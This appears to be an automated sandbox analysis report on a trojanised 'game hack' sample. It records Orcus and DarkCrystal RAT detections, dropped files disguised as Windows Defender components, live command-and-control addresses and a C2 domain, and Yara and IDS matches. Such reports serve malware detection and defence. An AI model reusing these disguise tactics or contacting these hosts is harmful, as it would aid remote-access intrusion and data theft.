Source:	Binary string: q$costura.orcus.staticcommands.pdb.zip source: MpDefenderProtector.exe, 00000007.00000002.1312934413.0000000002901000.00000004.00000800.00020000.00000000.sdmp, MpDefenderCoreProtion.exe, 0000000D.00000002.1337493917.0000000003121000.00000004.00000800.00020000.00000000.sdmp, MpDefenderCoreProtion.exe, 00000011.00000002.2044904606.0000000003181000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.2519892872.0000000002E81000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: \Orcus-1.9.1-src-main\Orcus.Plugins\obj\Release\Orcus.Plugins.pdb8 source: MpDefenderProtector.exe, 00000007.00000002.1323937386.0000000004EC0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: D:\Dokumente\GitHub\starksoft-aspen\Starksoft.Aspen\obj\Release\starksoft.aspen.pdbL source: RegAsm.exe, 00000012.00000002.2519892872.00000000031F8000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.2519892872.00000000031EA000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.2519892872.0000000003144000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.2519892872.00000000031D0000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.2540236748.0000000005E90000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: \Orcus-1.9.1-src-main\Orcus.StaticCommands\obj\Release\Orcus.StaticCommands.pdb source: RegAsm.exe, 00000012.00000002.2539787539.0000000005E60000.00000004.08000000.00040000.00000000.sdmp, RegAsm.exe, 00000012.00000002.2519892872.00000000030B5000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.2519892872.0000000003144000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: costura.fluentcommandlineparser.pdb.zip source: GameHackBuild1.exe.bin.exe, 00000000.00000003.1270548712.0000000004F89000.00000004.00000020.00020000.00000000.sdmp, MpDefenderCoreProtion.exe, 0000000D.00000002.1339479653.0000000004533000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: orcus.plugins;costura.orcus.plugins.dll.zip;costura.orcus.plugins.pdb.zip source: GameHackBuild1.exe.bin.exe, 00000000.00000003.1270548712.0000000004F89000.00000004.00000020.00020000.00000000.sdmp, MpDefenderCoreProtion.exe, 0000000D.00000002.1339479653.0000000004533000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: costura.orcus.shared.pdb.zip source: GameHackBuild1.exe.bin.exe, 00000000.00000003.1270548712.0000000004F89000.00000004.00000020.00020000.00000000.sdmp, MpDefenderProtector.exe, 00000007.00000002.1312934413.0000000002901000.00000004.00000800.00020000.00000000.sdmp, MpDefenderCoreProtion.exe, 0000000D.00000002.1339479653.0000000004533000.00000004.00000800.00020000.00000000.sdmp, MpDefenderCoreProtion.exe, 0000000D.00000002.1337493917.0000000003121000.00000004.00000800.00020000.00000000.sdmp, MpDefenderCoreProtion.exe, 00000011.00000002.2044904606.0000000003181000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.2519892872.0000000002E81000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: \Orcus-1.9.1-src-main\Orcus.Shared.Utilities\obj\Release\Orcus.Shared.Utilities.pdb source: MpDefenderProtector.exe, 00000007.00000002.1339235069.00000000058A0000.00000004.08000000.00040000.00000000.sdmp, MpDefenderProtector.exe, 00000007.00000002.1312934413.0000000002949000.00000004.00000800.00020000.00000000.sdmp, MpDefenderProtector.exe, 00000007.00000002.1312934413.0000000002AFB000.00000004.00000800.00020000.00000000.sdmp, MpDefenderCoreProtion.exe, 0000000D.00000002.1337493917.0000000003355000.00000004.00000800.00020000.00000000.sdmp, MpDefenderCoreProtion.exe, 0000000D.00000002.1337493917.000000000316A000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.2519892872.00000000030B5000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.2519892872.0000000002ECA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: q'costura.fluentcommandlineparser.pdb.zip source: MpDefenderProtector.exe, 00000007.00000002.1312934413.0000000002901000.00000004.00000800.00020000.00000000.sdmp, MpDefenderCoreProtion.exe, 0000000D.00000002.1337493917.0000000003121000.00000004.00000800.00020000.00000000.sdmp, MpDefenderCoreProtion.exe, 00000011.00000002.2044904606.0000000003181000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.2519892872.0000000002E81000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: \Orcus-1.9.1-src-main\Orcus.Plugins\obj\Release\Orcus.Plugins.pdb source: MpDefenderProtector.exe, 00000007.00000002.1323937386.0000000004EC0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: costura.orcus.staticcommands.pdb.zip source: GameHackBuild1.exe.bin.exe, 00000000.00000003.1270548712.0000000004F89000.00000004.00000020.00020000.00000000.sdmp, MpDefenderCoreProtion.exe, 0000000D.00000002.1339479653.0000000004533000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: directoryinfoex?costura.directoryinfoex.dll.zip?costura.directoryinfoex.pdb.zipUes.microsoft.win32.taskscheduler.resourcesucostura.es.microsoft.win32.taskscheduler.resources.dll.zip/fluentcommandlineparserOcostura.fluentcommandlineparser.dll.zipOcostura.fluentcommandlineparser.pdb.zipUfr.microsoft.win32.taskscheduler.resourcesucostura.fr.microsoft.win32.taskscheduler.resources.dll.zip/icsharpcode.sharpziplibOcostura.icsharpcode.sharpziplib.dll.zipUit.microsoft.win32.taskscheduler.resourcesucostura.it.microsoft.win32.taskscheduler.resources.dll.zip+jetbrains.annotationsKcostura.jetbrains.annotations.dll.zip source: GameHackBuild1.exe.bin.exe, 00000000.00000003.1270548712.0000000004F89000.00000004.00000020.00020000.00000000.sdmp, MpDefenderCoreProtion.exe, 0000000D.00000002.1339479653.0000000004533000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: costura.shelllibrary.pdb.zip source: GameHackBuild1.exe.bin.exe, 00000000.00000003.1270548712.0000000004F89000.00000004.00000020.00020000.00000000.sdmp, MpDefenderProtector.exe, 00000007.00000002.1312934413.0000000002901000.00000004.00000800.00020000.00000000.sdmp, MpDefenderCoreProtion.exe, 0000000D.00000002.1339479653.0000000004533000.00000004.00000800.00020000.00000000.sdmp, MpDefenderCoreProtion.exe, 0000000D.00000002.1337493917.0000000003121000.00000004.00000800.00020000.00000000.sdmp, MpDefenderCoreProtion.exe, 00000011.00000002.2044904606.0000000003181000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.2519892872.0000000002E81000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: orcus.shared9costura.orcus.shared.dll.zip9costura.orcus.shared.pdb.zip-orcus.shared.utilitiesMcostura.orcus.shared.utilities.dll.zipMcostura.orcus.shared.utilities.pdb.zip)orcus.staticcommandsIcostura.orcus.staticcommands.dll.zipIcostura.orcus.staticcommands.pdb.zip%sharpdx.direct3d11Ecostura.sharpdx.direct3d11.dll.zip#sharpdx.direct3d9Ccostura.sharpdx.direct3d9.dll.zip source: GameHackBuild1.exe.bin.exe, 00000000.00000003.1270548712.0000000004F89000.00000004.00000020.00020000.00000000.sdmp, MpDefenderCoreProtion.exe, 0000000D.00000002.1339479653.0000000004533000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\Dokumente\GitHub\starksoft-aspen\Starksoft.Aspen\obj\Release\starksoft.aspen.pdb source: RegAsm.exe, 00000012.00000002.2519892872.00000000031F8000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.2519892872.00000000031EA000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.2519892872.0000000003144000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.2519892872.00000000031D0000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.2540236748.0000000005E90000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\Visual Studio 2010\Projects\TaskService\obj\Release\Microsoft.Win32.TaskScheduler.pdb source: MpDefenderCoreProtion.exe, 0000000D.00000002.1339479653.00000000042DB000.00000004.00000800.00020000.00000000.sdmp, MpDefenderCoreProtion.exe, 0000000D.00000002.1337493917.0000000003355000.00000004.00000800.00020000.00000000.sdmp, MpDefenderCoreProtion.exe, 0000000D.00000002.1366464067.00000000060F0000.00000004.08000000.00040000.00000000.sdmp, MpDefenderCoreProtion.exe, 0000000D.00000002.1339479653.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: costura.directoryinfoex.pdb.zip source: GameHackBuild1.exe.bin.exe, 00000000.00000003.1270548712.0000000004F89000.00000004.00000020.00020000.00000000.sdmp, MpDefenderProtector.exe, 00000007.00000002.1312934413.0000000002901000.00000004.00000800.00020000.00000000.sdmp, MpDefenderCoreProtion.exe, 0000000D.00000002.1339479653.0000000004533000.00000004.00000800.00020000.00000000.sdmp, MpDefenderCoreProtion.exe, 0000000D.00000002.1337493917.0000000003121000.00000004.00000800.00020000.00000000.sdmp, MpDefenderCoreProtion.exe, 00000011.00000002.2044904606.0000000003181000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.2519892872.0000000002E81000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: q&costura.orcus.shared.utilities.pdb.zip source: MpDefenderProtector.exe, 00000007.00000002.1312934413.0000000002901000.00000004.00000800.00020000.00000000.sdmp, MpDefenderCoreProtion.exe, 0000000D.00000002.1337493917.0000000003121000.00000004.00000800.00020000.00000000.sdmp, MpDefenderCoreProtion.exe, 00000011.00000002.2044904606.0000000003181000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.2519892872.0000000002E81000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: opuswrapper7costura.opuswrapper.dll.zip7costura.opuswrapper.pdb.zip source: GameHackBuild1.exe.bin.exe, 00000000.00000003.1270548712.0000000004F89000.00000004.00000020.00020000.00000000.sdmp, MpDefenderCoreProtion.exe, 0000000D.00000002.1339479653.0000000004533000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: \Orcus-1.9.1-src-main\Orcus.Shared\obj\Release\Orcus.Shared.pdb source: MpDefenderProtector.exe, 00000007.00000002.1315906643.0000000003A65000.00000004.00000800.00020000.00000000.sdmp, MpDefenderProtector.exe, 00000007.00000002.1335917183.0000000005270000.00000004.08000000.00040000.00000000.sdmp, MpDefenderCoreProtion.exe, 00000011.00000002.2071723679.000000000425D000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: costura.opuswrapper.pdb.zip source: GameHackBuild1.exe.bin.exe, 00000000.00000003.1270548712.0000000004F89000.00000004.00000020.00020000.00000000.sdmp, MpDefenderProtector.exe, 00000007.00000002.1312934413.0000000002901000.00000004.00000800.00020000.00000000.sdmp, MpDefenderCoreProtion.exe, 0000000D.00000002.1339479653.0000000004533000.00000004.00000800.00020000.00000000.sdmp, MpDefenderCoreProtion.exe, 0000000D.00000002.1337493917.0000000003121000.00000004.00000800.00020000.00000000.sdmp, MpDefenderCoreProtion.exe, 00000011.00000002.2044904606.0000000003181000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.2519892872.0000000002E81000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: shelllibrary9costura.shelllibrary.dll.zip9costura.shelllibrary.pdb.zip source: GameHackBuild1.exe.bin.exe, 00000000.00000003.1270548712.0000000004F89000.00000004.00000020.00020000.00000000.sdmp, MpDefenderCoreProtion.exe, 0000000D.00000002.1339479653.0000000004533000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: costura.orcus.shared.utilities.pdb.zip source: GameHackBuild1.exe.bin.exe, 00000000.00000003.1270548712.0000000004F89000.00000004.00000020.00020000.00000000.sdmp, MpDefenderCoreProtion.exe, 0000000D.00000002.1339479653.0000000004533000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: costura.orcus.plugins.pdb.zip source: GameHackBuild1.exe.bin.exe, 00000000.00000003.1270548712.0000000004F89000.00000004.00000020.00020000.00000000.sdmp, MpDefenderProtector.exe, 00000007.00000002.1312934413.0000000002901000.00000004.00000800.00020000.00000000.sdmp, MpDefenderCoreProtion.exe, 0000000D.00000002.1339479653.0000000004533000.00000004.00000800.00020000.00000000.sdmp, MpDefenderCoreProtion.exe, 0000000D.00000002.1337493917.0000000003121000.00000004.00000800.00020000.00000000.sdmp, MpDefenderCoreProtion.exe, 00000011.00000002.2044904606.0000000003181000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.2519892872.0000000002E81000.00000004.00000800.00020000.00000000.sdmp

Spreading

Infects executable files (exe, dll, sys, html)

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

System file written: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Key opened: HKEY_CURRENT_USER_Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\InprocServer32
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Key opened: HKEY_LOCAL_MACHINE\Software\Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\InprocServer32
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Key opened: HKEY_CURRENT_USER_Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Key opened: HKEY_CURRENT_USER_Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\InprocServer32
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer32
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\Elevation
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs

Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Code function: 0_2_00A0A5F4 FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,	0_2_00A0A5F4
Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Code function: 0_2_00A1B8E0 SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SendDlgItemMessageW,FindFirstFileW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,FindClose,_swprintf,SetDlgItemTextW,SendDlgItemMessageW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,_swprintf,SetDlgItemTextW,	0_2_00A1B8E0
Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Code function: 0_2_00A2AAA8 FindFirstFileExA,	0_2_00A2AAA8
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	Code function: 8_2_00EDA5F4 FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,	8_2_00EDA5F4
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	Code function: 8_2_00EEB8E0 SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SendDlgItemMessageW,FindFirstFileW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,FindClose,_swprintf,SetDlgItemTextW,SendDlgItemMessageW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,_swprintf,SetDlgItemTextW,	8_2_00EEB8E0
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	Code function: 8_2_00EFAAA8 FindFirstFileExA,	8_2_00EFAAA8

Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	File opened: C:\Users\user\AppData\Local\Temp
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	File opened: C:\Users\user
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	File opened: C:\Users\user\AppData\Local
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	File opened: C:\Users\user\Documents\desktop.ini
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	File opened: C:\Users\user\AppData
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	File opened: C:\Users\user\Desktop\desktop.ini

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2034194 - Severity 1 - ET MALWARE DCRAT Activity (GET) : 192.168.2.7:49853 -> 37.44.238.250:80
Source: Network traffic	Suricata IDS: 2034194 - Severity 1 - ET MALWARE DCRAT Activity (GET) : 192.168.2.7:49907 -> 37.44.238.250:80
Source: Network traffic	Suricata IDS: 2034194 - Severity 1 - ET MALWARE DCRAT Activity (GET) : 192.168.2.7:50015 -> 37.44.238.250:80
Source: Network traffic	Suricata IDS: 2048095 - Severity 1 - ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST) : 192.168.2.7:49956 -> 37.44.238.250:80
Source: Network traffic	Suricata IDS: 2034194 - Severity 1 - ET MALWARE DCRAT Activity (GET) : 192.168.2.7:50039 -> 37.44.238.250:80

Found Tor onion address

Source: Solara.exe, 00000009.00000002.2515285033.0000000000401000.00000040.00000001.01000000.0000000D.sdmp

String found in binary or memory: m=nil base SundayMondayFridayAugustUTC-11UTC-02UTC-08UTC-09UTC+12UTC+13minutesecondhangupkilledlistensocketPREFIXSTRINGCLAUSEGetAceGetACPsendtoX25519%w%.0wServernetdnsdomaingophertelnetreturn.local.onionip+netCommonArabicBrahmiCarianChakmaCopticGothicHangulHatranHebrewKaithiKhojkiLepchaLycianLydianRejangSyriacTai_LeTangsaTangutTeluguThaanaWanchoYezidicmd/goempty rune1 secretheaderAnswerLengthSTREETavx512rdrandrdseedError: booleanbdoUxXvintegercomplexfloat32float64LButtonRButtonMButtonControlCapitalConvertExecuteNumpad0Numpad1Numpad2Numpad3Numpad4Numpad5Numpad6Numpad7Numpad8Numpad9DecimalNumlockOEMPlusSetMenuUpgradeTrailersocks5hHEADERSReferer flags= len=%d (conn) %v=%v,expiresrefererrefreshtrailerGODEBUGname %q:method:schemeupgrade:statushttp://chunkedCreatedIM UsedCONNECTconsolePATHEXT19531259765625avx512finvaliduintptrSwapperChanDir Value>EllipseEndPageFillRgnAbortedpdh.dllIsChildSetRectforcegcallocmWcpuprofallocmRunknowngctraceIO waitrunningsyscallwaitingforevernetworkUNKNOWN:events, goid= s=nil

Yara detected Generic Downloader

Source: Yara match	File source: 7.0.MpDefenderProtector.exe.240000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.MpDefenderCoreProtion.exe.46090d0.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe, type: DROPPED

Source: global traffic

TCP traffic: 192.168.2.7:49702 -> 185.37.62.158:25350

Source: Joe Sandbox View

ASN Name: HOSTLANDRU HOSTLANDRU

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: 25350.client.sudorat.top

Source: MpDefenderProtector.exe, 00000007.00000002.1312934413.0000000002949000.00000004.00000800.00020000.00000000.sdmp, MpDefenderCoreProtion.exe, 0000000D.00000002.1337493917.000000000316A000.00000004.00000800.00020000.00000000.sdmp, MpDefenderCoreProtion.exe, 00000011.00000002.2044904606.00000000031C9000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.2519892872.0000000002ECA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: MpDefenderProtector.exe, 00000007.00000002.1312934413.0000000002AFB000.00000004.00000800.00020000.00000000.sdmp, MpDefenderCoreProtion.exe, 0000000D.00000002.1337493917.0000000003355000.00000004.00000800.00020000.00000000.sdmp, runtimesvc.exe, 00000017.00000002.1874336688.00000000031A1000.00000004.00000800.00020000.00000000.sdmp, containerRuntime.exe, 0000001A.00000002.1720636580.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: MpDefenderProtector.exe, 00000007.00000002.1312934413.0000000002949000.00000004.00000800.00020000.00000000.sdmp, MpDefenderCoreProtion.exe, 0000000D.00000002.1337493917.000000000316A000.00000004.00000800.00020000.00000000.sdmp, MpDefenderCoreProtion.exe, 00000011.00000002.2044904606.00000000031C9000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.2519892872.0000000002ECA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: MpDefenderProtector.exe, 00000007.00000002.1311661641.0000000000C6E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.w3.or/XmasIes
Source: GameHackBuild1.exe.bin.exe, 00000000.00000003.1270548712.0000000004F89000.00000004.00000020.00020000.00000000.sdmp, MpDefenderCoreProtion.exe, 0000000D.00000002.1339479653.0000000004533000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/I(.
Source: MpDefenderCoreProtion.exe, 0000000D.00000002.1339479653.00000000042DB000.00000004.00000800.00020000.00000000.sdmp, MpDefenderCoreProtion.exe, 0000000D.00000002.1337493917.0000000003355000.00000004.00000800.00020000.00000000.sdmp, MpDefenderCoreProtion.exe, 0000000D.00000002.1366464067.00000000060F0000.00000004.08000000.00040000.00000000.sdmp, MpDefenderCoreProtion.exe, 0000000D.00000002.1339479653.00000000041DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://taskscheduler.codeplex.com/
Source: MpDefenderCoreProtion.exe, 0000000D.00000002.1339479653.00000000042DB000.00000004.00000800.00020000.00000000.sdmp, MpDefenderCoreProtion.exe, 0000000D.00000002.1337493917.0000000003355000.00000004.00000800.00020000.00000000.sdmp, MpDefenderCoreProtion.exe, 0000000D.00000002.1366464067.00000000060F0000.00000004.08000000.00040000.00000000.sdmp, MpDefenderCoreProtion.exe, 0000000D.00000002.1339479653.00000000041DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://taskscheduler.codeplex.com/F

Source: Solara.exe

Binary or memory string: github.com/lxn/win.getRawInputData

System Summary

Malicious sample detected (through community Yara rule)

Source: 13.2.MpDefenderCoreProtion.exe.46090d0.6.unpack, type: UNPACKEDPE	Matched rule: RAT_Orcus Author: J from THL <j@techhelplist.com> with thx to MalwareHunterTeam
Source: 13.2.MpDefenderCoreProtion.exe.46090d0.6.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 7.0.MpDefenderProtector.exe.240000.0.unpack, type: UNPACKEDPE	Matched rule: RAT_Orcus Author: J from THL <j@techhelplist.com> with thx to MalwareHunterTeam
Source: 7.0.MpDefenderProtector.exe.240000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 13.2.MpDefenderCoreProtion.exe.46090d0.6.raw.unpack, type: UNPACKEDPE	Matched rule: RAT_Orcus Author: J from THL <j@techhelplist.com> with thx to MalwareHunterTeam
Source: 13.2.MpDefenderCoreProtion.exe.46090d0.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 00000000.00000003.1270548712.0000000004F89000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: RAT_Orcus Author: J from THL <j@techhelplist.com> with thx to MalwareHunterTeam
Source: 0000000D.00000002.1339479653.0000000004533000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: RAT_Orcus Author: J from THL <j@techhelplist.com> with thx to MalwareHunterTeam
Source: 00000007.00000000.1286933996.0000000000242000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY	Matched rule: RAT_Orcus Author: J from THL <j@techhelplist.com> with thx to MalwareHunterTeam
Source: Process Memory Space: GameHackBuild1.exe.bin.exe PID: 7292, type: MEMORYSTR	Matched rule: RAT_Orcus Author: J from THL <j@techhelplist.com> with thx to MalwareHunterTeam
Source: Process Memory Space: MpDefenderCoreProtion.exe PID: 7932, type: MEMORYSTR	Matched rule: RAT_Orcus Author: J from THL <j@techhelplist.com> with thx to MalwareHunterTeam
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe, type: DROPPED	Matched rule: RAT_Orcus Author: J from THL <j@techhelplist.com> with thx to MalwareHunterTeam
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe, type: DROPPED	Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe, type: DROPPED	Matched rule: RAT_Orcus Author: J from THL <j@techhelplist.com> with thx to MalwareHunterTeam
